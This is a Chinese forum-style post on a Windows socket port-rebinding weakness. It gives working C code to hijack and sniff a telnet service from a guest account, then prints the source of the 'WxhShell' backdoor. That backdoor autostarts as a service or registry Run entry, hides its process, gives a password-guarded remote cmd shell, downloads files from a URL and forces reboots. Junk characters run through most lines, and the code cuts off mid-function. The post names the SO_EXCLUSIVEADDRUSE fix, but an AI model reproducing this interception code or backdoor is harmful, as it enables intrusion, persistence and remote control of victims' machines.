在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
f=]+\0MQ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+kP)T(6 #|k;nFJ saddr.sin_family = AF_INET;
`CA-s ^\Tde*48 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
P+ONQN| j|gQe .,1 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
_U( b 3TVp
oB` 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:#s6, bO]^TRaiJ 这意味着什么?意味着可以进行如下的攻击:
!#j
y=A &b8Dy=# 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2a8ZU{wjn vh 5`R/<3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
f2ygN6(> ~XQj0' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
fgIzT!fyz va F^[/
(g 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
[y-0w.V=oE JwG$lGNJ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
S&_Z,mT./ M}=X/*T 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
"
2A`M~
Wew'bj
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&
9}L +/, ^ZV1Ev8T6 #include
(7^5jo[D #include
f1w&D ]|S+ #include
rOQ@(aUAZ #include
d2`m0U DWORD WINAPI ClientThread(LPVOID lpParam);
Aq674 int main()
K>iM6Uv {
BOClMeA4 WORD wVersionRequested;
2k;>nlVxX DWORD ret;
RnC96"";R. WSADATA wsaData;
s ;EwAd( BOOL val;
/.B7y( SOCKADDR_IN saddr;
0t[|3A~Q SOCKADDR_IN scaddr;
8oiO:lyLSt int err;
p vone,y2 SOCKET s;
kx&Xk0F_g SOCKET sc;
{U@&hE
- int caddsize;
cdiDfiE HANDLE mt;
l)tK/1 W DWORD tid;
,{==f7|w wVersionRequested = MAKEWORD( 2, 2 );
v zgR3r err = WSAStartup( wVersionRequested, &wsaData );
Afa|6zZ> if ( err != 0 ) {
reseu*5 printf("error!WSAStartup failed!\n");
dz@L}b* return -1;
jo-jPYH T }
0?OTa<c saddr.sin_family = AF_INET;
$I*ye+a*{q :cU6W2EV //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
aVkgE> NwPGH=V saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
j#L"fW^GM saddr.sin_port = htons(23);
7i^7sT8t if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0'8_:|5 {
c6/+Ye =h printf("error!socket failed!\n");
Wy1#K)LRb return -1;
XTboFrf }
E_sKD ybj val = TRUE;
7|Z=#3INw //SO_REUSEADDR选项就是可以实现端口重绑定的
7Nx5n< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
u&{}hv&FY {
GF4k printf("error!setsockopt failed!\n");
s
zBlyT return -1;
S}L$-7Ct }
D>Ij //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
d&[Ct0!++u //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
n^vL9n_N //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
S:!gj2q9| c#o(y6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
LpRl!\FY$ {
#9{N[t ret=GetLastError();
(=#[om(A printf("error!bind failed!\n");
u\-WArntc return -1;
$Ro]]NUz| }
Su"9` listen(s,2);
T%0vifoQ_$ while(1)
;MRK*sfw{ {
=AEl:SY+ caddsize = sizeof(scaddr);
K
@x4>9 3n //接受连接请求
MzUNk`T @ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
obA}SF if(sc!=INVALID_SOCKET)
Cka&b {
.*N]SbU<8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
0zJT_H+ if(mt==NULL)
0X \OQ; {
+c4-7/kE printf("Thread Creat Failed!\n");
`| nC r break;
f3 _-{<FZ }
[I6(;lq2 }
%C8p!)Hu CloseHandle(mt);
BpL7s
ej7 }
^G:}%4 closesocket(s);
j}P
xq WSACleanup();
)v\zaz return 0;
a^:on?:9 }
DJ&ni` DWORD WINAPI ClientThread(LPVOID lpParam)
3JhT {
f@JMDJ SOCKET ss = (SOCKET)lpParam;
UqVcN$^b SOCKET sc;
5:S=gARz unsigned char buf[4096];
q{4W@Um- SOCKADDR_IN saddr;
[/Q .MmnL long num;
^(}D DWORD val;
`Wc"Ix0 DWORD ret;
ZiR },F/ //如果是隐藏端口应用的话,可以在此处加一些判断
ai,\'%N //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&8=wkG% saddr.sin_family = AF_INET;
JSXJlau saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
8&[Lr o9 saddr.sin_port = htons(23);
I^}q;L![\ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
U&F1}P$fb {
9)c{L<o}T printf("error!socket failed!\n");
j:|um&`) return -1;
d7,ZpHt }
Hlh`d N val = 100;
[D;wB|+, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
n8h1SlK08 {
\!-IY ret = GetLastError();
kSL7WQe?j return -1;
,=TY:U;? }
U%.%:'eV= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
g+(Cs {
4KbOyTQ ret = GetLastError();
6_UCRo5h% return -1;
@*Y"[\ "$ }
-4 *94< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
fEv`iXZG {
V_'!# printf("error!socket connect failed!\n");
m-xnbTcQ closesocket(sc);
RN,5>.w closesocket(ss);
8>R 75dw return -1;
gKPqWh }
,\){-H/n while(1)
J#1-Le8@ {
C0f<xhp?j //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Bqcih$`BVU //如果是嗅探内容的话,可以再此处进行内容分析和记录
cd&^ vQL8 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ON,sN num = recv(ss,buf,4096,0);
W;Pdbf" if(num>0)
%|"0p3 send(sc,buf,num,0);
EO.Se9ux else if(num==0)
f`;y
"ba break;
i}tBB~] num = recv(sc,buf,4096,0);
TTYM!+T if(num>0)
a *hWODYn send(ss,buf,num,0);
yr;~M{{4 else if(num==0)
kT-dQ32 break;
z`}<mY
E }
%>];F~z closesocket(ss);
0 _n
Pq closesocket(sc);
biLNR"/E return 0 ;
+6zW(Ql/
}
a-\M)}T 6%-RKQi XBr-UjQ ==========================================================
c*m7'\ h0cdRi 下边附上一个代码,,WXhSHELL
LL0Y$pHV (^{tu89ab ==========================================================
'3i,^g0?t0 ]2_b_ok #include "stdafx.h"
^y,Ex;6o Za110oF #include <stdio.h>
X[SdDYMY #include <string.h>
>P<8E2}* #include <windows.h>
04j]W]8# #include <winsock2.h>
=8o$ #include <winsvc.h>
5n0B`A #include <urlmon.h>
Sux/=' gR\z#Sg #pragma comment (lib, "Ws2_32.lib")
MQ#nP_i #pragma comment (lib, "urlmon.lib")
_\2Ae\&c xS'Kr.S
#define MAX_USER 100 // 最大客户端连接数
h&|S* #define BUF_SOCK 200 // sock buffer
?lPn{oB9" #define KEY_BUFF 255 // 输入 buffer
`MLOf ]Pp}=hcD #define REBOOT 0 // 重启
f,} (=
u #define SHUTDOWN 1 // 关机
/!i`K{ w=QlQ\ #define DEF_PORT 5000 // 监听端口
&E?TR
A# E Vr^UEu.w? #define REG_LEN 16 // 注册表键长度
3>'TYXs- #define SVC_LEN 80 // NT服务名长度
W?:e4:Q ZLGglT'EW> // 从dll定义API
R/WbcQ) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
IDY2X+C#U typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
!,cLc}a typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
QomihQnc typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
"*bP @W /ucS*m:<x // wxhshell配置信息
#FhgKwx struct WSCFG {
PY@BgL=/ int ws_port; // 监听端口
Dq~\U&U\$ char ws_passstr[REG_LEN]; // 口令
@ *<`*W int ws_autoins; // 安装标记, 1=yes 0=no
'PqKb%B| char ws_regname[REG_LEN]; // 注册表键名
M*-]<!))7 char ws_svcname[REG_LEN]; // 服务名
+:_;K_h char ws_svcdisp[SVC_LEN]; // 服务显示名
KXiStwS char ws_svcdesc[SVC_LEN]; // 服务描述信息
0'ge}2^
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
KSYHG int ws_downexe; // 下载执行标记, 1=yes 0=no
2CF5qn}T char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
U^;|as char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)z_5I (?& u9*7Buou^ };
Y6E0-bL@Fe *'n L[] // default Wxhshell configuration
b[2 #t struct WSCFG wscfg={DEF_PORT,
3Fg{?C_l "xuhuanlingzhe",
W9G1wU 1,
E)iX`Xq|0{ "Wxhshell",
4c]=kb GW "Wxhshell",
(
}RJW: "WxhShell Service",
3+/^ "Wrsky Windows CmdShell Service",
u- }@^Y$M "Please Input Your Password: ",
Bfu/w 1,
q&kG> "
http://www.wrsky.com/wxhshell.exe",
eyzXHS*s;L "Wxhshell.exe"
W,5_i7vr };
X@Bg_9\i m7|S'{+! // 消息定义模块
+Ym#!" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
E*vh<C char *msg_ws_prompt="\n\r? for help\n\r#>";
|%g)H,6c char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]p@q.P char *msg_ws_ext="\n\rExit.";
DP.Y<V)B char *msg_ws_end="\n\rQuit.";
9 >"}||)) char *msg_ws_boot="\n\rReboot...";
WjsmLb:5 char *msg_ws_poff="\n\rShutdown...";
M#.dF{%% char *msg_ws_down="\n\rSave to ";
Ms=N+e$n XE$;Z'Qhjm char *msg_ws_err="\n\rErr!";
%%T?LRv char *msg_ws_ok="\n\rOK!";
C*stj ^Z+p_;J$p char ExeFile[MAX_PATH];
w
y&yK*w int nUser = 0;
H-qbgd6&>R HANDLE handles[MAX_USER];
pM-mZ/? int OsIsNt;
w&>*4=^a #OwxxUeZ SERVICE_STATUS serviceStatus;
wD92Ava
SERVICE_STATUS_HANDLE hServiceStatusHandle;
"#.L\p{Zy f%/6kz // 函数声明
Rjn%<R2nW int Install(void);
!q1XyQX int Uninstall(void);
E^B3MyS^^ int DownloadFile(char *sURL, SOCKET wsh);
\HL66%b[ int Boot(int flag);
RN2z/FUf void HideProc(void);
Fu>;hx]s int GetOsVer(void);
G2dPm}s ZG int Wxhshell(SOCKET wsl);
nH}V:C void TalkWithClient(void *cs);
IqFmJs|C int CmdShell(SOCKET sock);
XG!^[ZDs int StartFromService(void);
.umN>/o[ int StartWxhshell(LPSTR lpCmdLine);
XzB3Xs?W2 |F +n7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
_LFABG= VOID WINAPI NTServiceHandler( DWORD fdwControl );
i8!err._ 6Z5$cR_vC7 // 数据结构和表定义
TMD*-wYr SERVICE_TABLE_ENTRY DispatchTable[] =
uBw[|,yn2* {
-FS!v^ {wscfg.ws_svcname, NTServiceMain},
F8&L'@m9> {NULL, NULL}
zbJ}@V };
]Na; b Ch)E:Dvq6 // 自我安装
: cPV08i int Install(void)
fS3% {
I2gSgv% char svExeFile[MAX_PATH];
J4Ca0Ag HKEY key;
m A('MS2 strcpy(svExeFile,ExeFile);
wlDo(]mj=O 8:U0M'}u> // 如果是win9x系统,修改注册表设为自启动
P6)d#M if(!OsIsNt) {
o QR?H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
rAk;8)O$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Rl'xEtaN RegCloseKey(key);
gZ
us}U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
t$PJ*F67M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(ZP e{;L. RegCloseKey(key);
tm.&k6% return 0;
p.5 *`, ) }
_6->D[dB }
@9lGU# }
*,
R ~[g else {
_TyQC1 d iV:\,<8d // 如果是NT以上系统,安装为系统服务
AD>/#Ul SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
9hgIQl if (schSCManager!=0)
s>=$E~qq {
f[q_eY SC_HANDLE schService = CreateService
(`<B#D;
(
nv3TxG schSCManager,
?4t~z 1.f wscfg.ws_svcname,
Ch]q:o4 wscfg.ws_svcdisp,
<bJ~Ol SERVICE_ALL_ACCESS,
]UrlFiR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
}OSf C~5P SERVICE_AUTO_START,
G+WCE* SERVICE_ERROR_NORMAL,
/U>8vV+C svExeFile,
t&-c?&FO\; NULL,
fO837 NULL,
D=)qd@,K NULL,
ie/QSte NULL,
&{8[I3#@ NULL
PPh1y;D );
a?)g>e
HN if (schService!=0)
kdMB.~(K= {
iig&O(, CloseServiceHandle(schService);
dBHki*.u CloseServiceHandle(schSCManager);
mo]>Um'F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
bBQHxH}vi strcat(svExeFile,wscfg.ws_svcname);
9lX[rBZ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
9Dyw4'W.N RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
NM1TFs2Y* RegCloseKey(key);
R(2MI}T return 0;
T{
lm
z<g }
=|d5V% mK }
p+2uK|T9 CloseServiceHandle(schSCManager);
}'\M}YM }
E8o9ufj3 }
Y3xEFqMU 4-\4G"4 return 1;
/sVmQqVY }
we?t/YB= QzYaxNGv // 自我卸载
XV!UeBq int Uninstall(void)
?hW(5]p| {
/Wy9". HKEY key;
xH-} <7 %Jn5M(myC if(!OsIsNt) {
d_98%U+u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5hB2:$C RegDeleteValue(key,wscfg.ws_regname);
DE?@8k RegCloseKey(key);
=OR&,xt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
x_EU.924uY RegDeleteValue(key,wscfg.ws_regname);
&0mhO+g RegCloseKey(key);
*gI9CVfQl return 0;
5JZZvc$au }
[ HjGdC }
=IIE]<z }
,=P0rbtK else {
Q?%v b RHq r-% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
s3M#ua#mX if (schSCManager!=0)
@T-}\AU {
_"'-fl98* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
H/ub=,Ej* if (schService!=0)
(7v`5|'0 {
t*Wxvoxk if(DeleteService(schService)!=0) {
gOk^("@ CloseServiceHandle(schService);
,0$b8lb;x/ CloseServiceHandle(schSCManager);
q5w)i return 0;
OL[_2m*;9p }
q{.~=~ CloseServiceHandle(schService);
%;G!gJeE
}
<JJi CloseServiceHandle(schSCManager);
P+3)YO1C }
sQT,@'" }
`RE1q)o}8M dGc>EZSdj return 1;
5xG/>fn }
K9Pw10g' t{/
EN)J // 从指定url下载文件
14\!FCe)! int DownloadFile(char *sURL, SOCKET wsh)
o-t!z'\lO {
.LNqU#a HRESULT hr;
D%.<}vG char seps[]= "/";
5{6ebq55" char *token;
nzu
3BVv char *file;
Xgm9>/y char myURL[MAX_PATH];
;:gx;'dm5 char myFILE[MAX_PATH];
Eb9M;u P^*gk P strcpy(myURL,sURL);
,#-^ token=strtok(myURL,seps);
9a_(_g>S while(token!=NULL)
/t?(IcP5 {
@i:_JOl file=token;
or]s token=strtok(NULL,seps);
on1mu't_; }
K#p&XIY, |&%l @X6 GetCurrentDirectory(MAX_PATH,myFILE);
"i*Gi
\U strcat(myFILE, "\\");
B6vmBmN strcat(myFILE, file);
';7|H|,F send(wsh,myFILE,strlen(myFILE),0);
8 _[f#s`) send(wsh,"...",3,0);
Qod2m$>wp} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
c[0$8F> if(hr==S_OK)
z'X_s.9F return 0;
:ui1]its4 else
N:/$N@"Ge return 1;
**O4"+Xi8 r^6vo6^ }
+NEP*mk &On0)G3Rc // 系统电源模块
P^LOrLmo8 int Boot(int flag)
j|WaWnl= {
f:g<Bz=u)* HANDLE hToken;
Qs{Qg<} TOKEN_PRIVILEGES tkp;
]R{=| 2=NYBOE if(OsIsNt) {
Q-&]Vg OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
M>k7
'@G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
w02HSQ tkp.PrivilegeCount = 1;
(;h]'I@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
^ihXM]1{G AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
9tC8|~Q if(flag==REBOOT) {
UwQ3q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Vt4}!b(O return 0;
3B"rI }
Q<``}:y|> else {
V2]S{!p}k if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
"WYcw\@U return 0;
5tl}rmI` }
Fk(0q/b }
z_l3=7R else {
[l5"'{x if(flag==REBOOT) {
JnY3] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
90aPIs- return 0;
1,`x1dcO!A }
%dT%r=%Y else {
Pjb9FCA' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
P [nWmY return 0;
|2 wff? }
xD?{Hw>QT# }
,em6wIq, p r0V) C6 return 1;
PewPl0 }
X7c*T / Yhw* `"X // win9x进程隐藏模块
khv! \^&DD void HideProc(void)
X-{:.9 {
BK d( \
bT]?.si HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
n"K7@[d if ( hKernel != NULL )
Z ''P5B; {
'HcDl@E pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
5!ReW39c; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
/?XfVhA:A FreeLibrary(hKernel);
=OZ_\vO }
C${TC+z }Rux<=cd| return;
t2Y~MyT/ }
|b3/63Ri-0 ycAQPz}=I // 获取操作系统版本
'qd") int GetOsVer(void)
]VYl Eqe {
S8)awTA9 OSVERSIONINFO winfo;
B-gr2- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
3MzY]J
y( GetVersionEx(&winfo);
&s < if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
[sk"2 return 1;
_gGy(` else
? s ewU9* return 0;
L2h+[f }
6~/H#8Kdn P*T)/A%4 // 客户端句柄模块
)eV40l$
M int Wxhshell(SOCKET wsl)
w9PY^U.Y3e {
v/haUPWF\ SOCKET wsh;
|B`tRq struct sockaddr_in client;
?GC0dN DWORD myID;
j5)qF1W, t2SZ]|C while(nUser<MAX_USER)
5#F+-9r {
`cv:p|s int nSize=sizeof(client);
5UM[Iz wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
5,((JxX$ if(wsh==INVALID_SOCKET) return 1;
H= y-Y_R 68!fcK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
vxt^rBA if(handles[nUser]==0)
,RHHNTB(" closesocket(wsh);
A{o{o++ else
o_N02l4J) nUser++;
Ji[w; [qL }
g:clSN, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
'~cEdGD9H VV4_ return 0;
>lW*%{|b$^ }
J@TM>R TatyD**( // 关闭 socket
}00e@a void CloseIt(SOCKET wsh)
awK'XFk {
[Bh]\I' closesocket(wsh);
Ja&%J: nUser--;
)AoFd> ExitThread(0);
T7Ac4LA }
2yZ6:U~ o|W? a#_\ // 客户端请求句柄
ZD{srEa/a void TalkWithClient(void *cs)
HlSuhbi'@ {
wm8x1+P "J1ar.li SOCKET wsh=(SOCKET)cs;
8dhY"& char pwd[SVC_LEN];
.-ABo]hf char cmd[KEY_BUFF];
WI,=?~- char chr[1];
80EY7#r@w int i,j;
$g};u[y #50)D wD while (nUser < MAX_USER) {
ezvaAhd{ |Q;o538 if(wscfg.ws_passstr) {
GXRjR\Ch if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\d+HYLAJn //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
bH{aI:9Fb //ZeroMemory(pwd,KEY_BUFF);
c" 7pf
T i=0;
c$|dK while(i<SVC_LEN) {
9-^p23.@[j f tPw6 // 设置超时
YM|S< fd_set FdRead;
J4g;~#_19 struct timeval TimeOut;
"/fs%F FD_ZERO(&FdRead);
h;KK6*Z*$E FD_SET(wsh,&FdRead);
S\ZAcz4 TimeOut.tv_sec=8;
NLl~/smMS TimeOut.tv_usec=0;
wVOL7vh int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
iL, XBoE if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Fzs'@* Fc~w`~tv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
H=#Jg;_w pwd
=chr[0]; 1znV>PO!
if(chr[0]==0xd || chr[0]==0xa) { /8>/"Z2S
pwd=0; ^gyp-
!
break; y^\#bpq&\
} @RIEO%S
i++; c1J)yv1y
} 0AKwZ'
&H
E3skC%}
// 如果是非法用户,关闭 socket |mmG
s
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); He!!oKK>
}
A*~1Uz\t
lKUm_; m
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %},G(>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \2xBOe-a]
J\'5CG
while(1) { ~,68S^nP)H
@t8kN6.
ZeroMemory(cmd,KEY_BUFF); O97bgj]
-<!17jy
// 自动支持客户端 telnet标准 1>VS/H`
j=0; p8d n-4
while(j<KEY_BUFF) { X);Zm7
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &;U7/?Q
cmd[j]=chr[0]; ~UC/|t$
if(chr[0]==0xa || chr[0]==0xd) { Ch9!AUiR
cmd[j]=0; +~Ay h[V
break; O)uM&B=
} 1cBhcYv"
j++; xPup?oP >
} !<zzP LC
'5/}MMT
// 下载文件 dJ:x1j
if(strstr(cmd,"http://")) { Zw][c7%
send(wsh,msg_ws_down,strlen(msg_ws_down),0); x,gE$dNzy
if(DownloadFile(cmd,wsh)) u^zitW!X$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4E\ntufo
else &vX!7Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [=6~"!P}
} q)ql]iH
else { MW~B[%/
9[{>JRm.
switch(cmd[0]) { `L#?eQ{
2^#UO=ct
// 帮助 ;sR6dT)
case '?': { Jx$#GUl#j
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |QOJ9~hxD
break; E ' JC
} ?s)sPM?
// 安装 ,Kf8T9z`
case 'i': { -wQ^oOJ
if(Install()) J%:/<uCmZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4)+IO;
else Gj19KQ1G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a@y5JxFAy
break; +c8AbEewg
} 0nn]]B@l
// 卸载 ,/`E|eG1G
case 'r': { C!{AnWf
if(Uninstall()) NS4'IR=;E!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r`R~{;oT
else 2HGD{;6>v{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G7Abhb,
break; N@*wi"Q
} PT#eXS9_
// 显示 wxhshell 所在路径 $l,Zd6<1q
case 'p': { CQzjCRS
d
char svExeFile[MAX_PATH]; Wt9iL
strcpy(svExeFile,"\n\r"); 9jR[:[
strcat(svExeFile,ExeFile); 8$v zpu
send(wsh,svExeFile,strlen(svExeFile),0); /;NE]{K
break; Bd9hf`%2
}
+lgF/y6
// 重启 3V
Mh)
case 'b': { CQjZAv
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4m~7 ~- h
if(Boot(REBOOT)) 4:Xj-l^D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 25a#eDbqi
else { PIEW \i
closesocket(wsh); rW~?0
ExitThread(0); 9c^skNbS
} Wda\a.bXT
break; 0L0Jc,(F+
} 3Wb2p'V7$?
// 关机 +*_fN ]M
case 'd': { KT];SF^Y
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]bN&5.|
if(Boot(SHUTDOWN)) ,t%CK!8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?S@R~y0K
else { <Hh5u~
closesocket(wsh); ;4kx >x*H
ExitThread(0); te;Ox!B&
} @0ov!9]Rw-
break; &cu] vw
} ] `B,L*m6
// 获取shell N$%61GiulT
case 's': { >{ECyh;
CmdShell(wsh); &*aer5?`
closesocket(wsh); y
Tw',N{
ExitThread(0); w.D4dv_H
break; o9i#N
} eyf4M;goz}
// 退出 /~Zc}o,J
case 'x': { ~)wwX:;B_
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h7EUIlh"
CloseIt(wsh); ~TG39*m
break; a*6wSAA )
} R 5K-KSvW
// 离开 u%=bHg
case 'q': { 13.{Y)
send(wsh,msg_ws_end,strlen(msg_ws_end),0); bk7^%O>
closesocket(wsh); &gWMl`3^*!
WSACleanup(); @TA8^ND
exit(1); JN&MyA"
break; c>S"`r
} >G<\1R
} Na.
nA
} KP=D! l&q
6;
5)/ q
// 提示信息 n9kd2[s|
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |7QVMFZ
} 7MO
} n5egKAgA
qSEB}1
return; D|TLTF"
} wX)efLmyhY
$/[Gys3"
// shell模块句柄 3`&VRF8
int CmdShell(SOCKET sock) e{fZ}`=7y
{ W>Mse[6`c
STARTUPINFO si; \;-=ODC
ZeroMemory(&si,sizeof(si)); N<aB)</
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n2n00%Wu[
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #D`S
PROCESS_INFORMATION ProcessInfo; S)"##-~`T
char cmdline[]="cmd"; YKP=0 j3,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |?x^8e<*
return 0; 7$+P|U
} 0 W~.WkD
:%/\1$3P
// 自身启动模式 W
il{FcHY
int StartFromService(void) u}Ei_
O<z
{ 20rN,@2<
typedef struct n> MD\ZS
{ N@cMM1
DWORD ExitStatus; bbd0ocva
DWORD PebBaseAddress; 3D
9N:c
DWORD AffinityMask; Az9X#h.vf
DWORD BasePriority; x*unye7
ULONG UniqueProcessId; fd?bU|I_2
